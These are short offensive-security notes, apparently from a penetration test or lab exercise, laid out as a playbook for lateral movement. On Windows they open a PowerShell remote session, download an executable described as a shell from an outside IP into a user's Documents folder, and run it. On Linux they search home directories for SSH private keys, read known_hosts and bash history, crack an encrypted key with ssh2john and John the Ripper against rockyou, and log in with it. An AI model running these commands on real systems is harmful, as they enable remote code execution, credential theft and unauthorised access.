Windows
CanPSRemote
Enter-PSSession -ComputerName m3webaw.m3c.local
Upload shell
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://10.10.15.207:443/CASUAL_PLATFORM.exe', 'C:\Users\Charlene.Butcher\Documents\CASUAL_PLATFORM.exe')"
Execute shell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ./CASUAL_PLATFORM.exe
Linux
SSH keys
find /home/ -name "id_rsa"
## check if the key is encrypted
cat svuser.key
cat known_hosts
tail .bash_history
If encrypted download the file
python /usr/share/john/ssh2john.py svuser.key > svuser.hash
Decrypt
sudo john --wordlist=/usr/share/wordlists/rockyou.txt ./svuser.hash
ssh -i ./svuser.key svuser@controller